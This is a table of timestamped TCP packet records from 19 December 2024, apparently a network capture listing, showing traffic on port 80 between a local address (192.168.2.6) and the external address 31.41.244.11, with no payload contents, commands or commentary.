Dec 19, 2024 16:10:31.932034969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.932080030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.932864904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.932878017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.932919025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.932940006 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.933825970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.933839083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.933875084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.933896065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.934807062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.934849977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.934962988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.935019970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.935887098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.935931921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.936057091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.936094046 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.936809063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.936821938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.936862946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.937623978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.937684059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.937779903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.937838078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.938574076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.938622952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.938755035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.938801050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.939670086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.939740896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.939862967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.939904928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.940521002 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.940572023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.940650940 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.940690994 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.941627979 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.941642046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.941684961 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.941929102 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.941977978 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.942101955 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.942229033 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.944761992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.944811106 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.945069075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.945113897 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.945724964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.945740938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.945780993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.945804119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.946012974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.946027040 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.946055889 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.946065903 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.946496010 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.946540117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.946681976 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.946764946 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.947618008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.947633982 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.947675943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.947689056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.948535919 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.948559999 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.948623896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.949469090 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.949512959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.949866056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.949913025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.950378895 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.950448036 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.950548887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.950656891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.951370001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.951409101 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.951529980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.951577902 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.952303886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.952379942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.952456951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.952497005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.953404903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.953459024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.953545094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.953578949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.954335928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.954380989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.954516888 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.954555035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.955302954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.955343962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.955482960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.955524921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.956404924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.956418991 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.956454992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.956473112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.957128048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.957186937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.957279921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.957325935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.958204031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.958275080 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.958345890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.958385944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.959594011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.959609032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.959660053 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.959697962 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.960331917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.960381031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.960509062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.960546970 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.961160898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.961180925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.961218119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.961226940 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.962122917 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.962165117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.962302923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.962666988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.963051081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.963107109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.963247061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.963776112 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.964135885 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.964158058 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.964195013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.964205027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.965063095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.965128899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.965223074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.965372086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.966175079 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.966232061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.966320038 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.966360092 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.967267036 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.967365980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.967431068 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.967478037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.107851028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.107909918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.107923985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.107956886 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.108405113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.108458042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.108459949 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.108501911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.109457970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.109478951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.109513044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.109538078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.110548973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.110569954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.110594034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.110615015 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.110845089 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.110902071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.111715078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.111727953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.111767054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.111793995 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.112725973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.112739086 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.112791061 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.113786936 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.113799095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.113840103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.113856077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.114510059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.114578009 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.114593983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.114667892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.115603924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.115650892 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.115664005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.115706921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.116934061 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.116950035 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.116976023 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.116995096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.117465973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.117530107 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.117558956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.117614031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.118535995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.118549109 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.118593931 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.119457960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.119522095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.119983912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.120042086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.120443106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.120497942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.120539904 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.120584011 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.121524096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.121535063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.121577024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.122328997 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.122519970 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.122587919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.123356104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.123415947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.123425961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.123477936 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.124429941 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.124442101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.124481916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.124492884 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.125494003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.125505924 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.125560999 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.126249075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.126373053 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.126405001 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.126497030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.127268076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.127340078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.127410889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.127482891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.128406048 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.128417015 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.128458977 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.129369974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.129509926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.129554987 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.130260944 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.130273104 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.130315065 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.131278992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.131298065 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.131336927 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.131376982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.132221937 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.132268906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.132282019 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.132356882 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.133141041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.133189917 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.133316994 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.133440018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.134155989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.134197950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.134217024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.134249926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.135318995 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.135369062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.135514975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.135596991 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.136425018 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.136437893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.136476040 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.136491060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.137187004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.137240887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.137443066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.137499094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.138062954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.138132095 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.138154984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.138194084 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.139019966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.139152050 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.139183998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.139224052 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.140252113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.140264988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.140306950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.140320063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.140978098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.141036034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.141066074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.141356945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.142028093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.142098904 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.142132044 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.142225981 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.143127918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.143141031 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.143202066 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.143908978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.143970013 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.144051075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.144144058 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.144922972 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.144963980 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.144979954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.145101070 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.145972967 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.146020889 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.146055937 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.146090984 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.147034883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.147098064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.147196054 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.147495031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.147835016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.147888899 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.148010015 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.148092985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.148817062 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.148874044 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.148999929 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.149128914 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.149837017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.149885893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.150044918 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.150090933 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.150814056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.150885105 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.150885105 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.151034117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.151791096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.151843071 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.151920080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.151957989 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.152757883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.152837038 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.152935028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.153110027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.153749943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.153805017 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.153811932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.153929949 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.154747009 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.154793024 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.154999018 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.155056000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.155828953 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.155842066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.155900002 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.155915976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.156738043 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.156752110 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:32.156790018 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:32.156815052 CET	49881	80	192.168.2.6	31.41.244.11
